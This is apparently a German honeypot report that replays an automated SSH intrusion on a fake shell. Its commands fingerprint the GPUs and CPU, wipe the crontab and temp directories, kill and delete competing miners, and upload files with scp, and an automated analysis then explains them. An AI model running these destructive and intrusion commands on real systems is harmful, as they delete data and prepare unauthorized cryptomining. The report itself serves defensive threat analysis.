ALLSmartSecurity
Mitschnitt

SSH-Angriff aus Niederlande: Schadcode nachladen und Einnisten per Cronjob

26.10.2026, 11:26 UTC · 954 Befehle · über ssh · Niederlande · 698× wiederholt

Überblick

Dienst
ssh (Port 22)
Herkunft
Niederlande · TechTies Inc.
Probierte Zugangsdaten
ftpuser / 123456
Gleiche Sitzung gesehen
698×

Der Angriff, nachgespielt

echter Mitschnitt unserer Fake-Shell; die Antworten sind erfunden, ausgeführt wurde nie etwas
ftpuser@srv01: ~

ftpuser@srv01:~$ uname -m | awk '{printf $1}'
x86_64
ftpuser@srv01:~$ lspci | egrep VGA && lspci | grep 3D
01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1)
ftpuser@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14-
AMD EPYC 7443P 24-Core Processor
ftpuser@srv01:~$ curl ipinfo.io/org
Cloudflare, Inc.
ftpuser@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1
4
ftpuser@srv01:~$ nvidia-smi -q | grep "Product Name"
Product Name : NVIDIA RTX A5000
Product Name : NVIDIA RTX A5000
Product Name : NVIDIA RTX A5000
Product Name : NVIDIA RTX A5000
ftpuser@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1
0
ftpuser@srv01:~$ uname -n | awk '{printf $1}'
render03
ftpuser@srv01:~$ uname -r | awk '{printf $1}'
5.15.0-88-generic
ftpuser@srv01:~$ crontab -r
crontab: installing new crontab
ftpuser@srv01:~$ rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/*
rm: cannot remove '/tmp/.ICE-unix': Permission denied
rm: cannot remove '/tmp/.X11-unix': Permission denied
rm: cannot remove '/tmp/.XIM-unix': Permission denied
ftpuser@srv01:~$ ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid
bash: syntax error near unexpected token `do'
ftpuser@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null
bash: syntax error near unexpected token `readlink'
ftpuser@srv01:~$ kill -9 $pid 2>/dev/null
bash: pid: unbound variable
ftpuser@srv01:~$ done
bash: syntax error near unexpected token `done'
ftpuser@srv01:~$ ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid
bash: syntax error near unexpected token `do'
ftpuser@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null
bash: syntax error near unexpected token `readlink'
ftpuser@srv01:~$ kill -9 $pid 2>/dev/null
bash: pid: unbound variable
ftpuser@srv01:~$ done
bash: syntax error near unexpected token `done'
ftpuser@srv01:~$ pidof cache | while read pid
bash: pidof: command not found
ftpuser@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null
bash: syntax error near unexpected token `readlink'
ftpuser@srv01:~$ kill -9 $pid 2>/dev/null
bash: pid: unbound variable
ftpuser@srv01:~$ done
bash: syntax error near unexpected token `done'
ftpuser@srv01:~$ for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done
bash: syntax error near unexpected token `do'
ftpuser@srv01:~$ pkill -9 $proc 2>/dev/null
ftpuser@srv01:~$ done
ftpuser@srv01:~$ rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null
ftpuser@srv01:~$ echo 123456 > /tmp/d.log
ftpuser@srv01:~$ scp -qt "/var/tmp/txYaZSdI"
ftpuser@srv01:~$ uname -s -v -n -r -m
Linux render03 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64
ftpuser@srv01:~$ scp -qt "/tmp/txYaZSdI"
ftpuser@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }'
261 days, 00:00
ftpuser@srv01:~$ scp -qt "/dev/shm/txYaZSdI"
ftpuser@srv01:~$ echo blackinclub!@ > /tmp/d.log
ftpuser@srv01:~$ scp -qt "/var/tmp/dgUxVHnR"
ftpuser@srv01:~$ uname -s -v -n -r -m
Linux render03 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64
ftpuser@srv01:~$ scp -qt "/tmp/dgUxVHnR"
ftpuser@srv01:~$ scp -qt "/dev/shm/dgUxVHnR"
ftpuser@srv01:~$ uname -s -v -n -r -m
Linux render03 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64

Was hier passiert ist

automatisch erstellte Einschätzung, keine Gewähr

Was versucht wurde

Ein Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um die Hardware zu identifizieren. Anschließend wurden konkurrierende Mining-Prozesse beendet und temporäre Dateien gelöscht. Abschließend versuchte der Angreifer, eine Datei in ein temporäres Verzeichnis zu kopieren.

Was die Befehle bewirken

Die Befehle uname, lspci und lscpu ermitteln die Architektur, Grafikkarten und Prozessoren, um die Mining-Eignung zu prüfen. Mit nvidia-smi und lspci wird spezifisch nach NVIDIA- und Radeon-GPUs gefiltert, um die Rechenleistung zu bewerten. Die Befehle crontab -r und rm -rf löschen geplante Aufgaben und temporäre Dateien, um Spuren zu verwischen und Platz zu schaffen. Die ps aux-Schleifen identifizieren Prozesse mit hoher CPU-Auslastung oder bekannten Mining-Namen wie xmrig und beenden diese gewaltsam. Der scp-Befehl versucht, eine Datei in das Verzeichnis /var/tmp/txYaZSdI zu übertragen, was auf die Nachinstallation von Malware hindeutet.

Worauf es hinauslief

Das Ziel ist eindeutig Kryptomining auf GPUs, erkennbar an der detaillierten Abfrage von NVIDIA-Grafikkarten und der Entfernung von Konkurrenzsoftware. Die massive Wiederholung deutet auf ein automatisiertes Botnetz hin, das nach leistungsfähigen Rechenressourcen sucht. Der Versuch, Daten per SCP hochzuladen, dient vermutlich der Installation des Mining-Clients.

Einordnung

Dieses Muster ist sehr verbreitet und typisch für automatisierte Mining-Botnetze, die gezielt nach Servern mit leistungsfähigen GPUs suchen.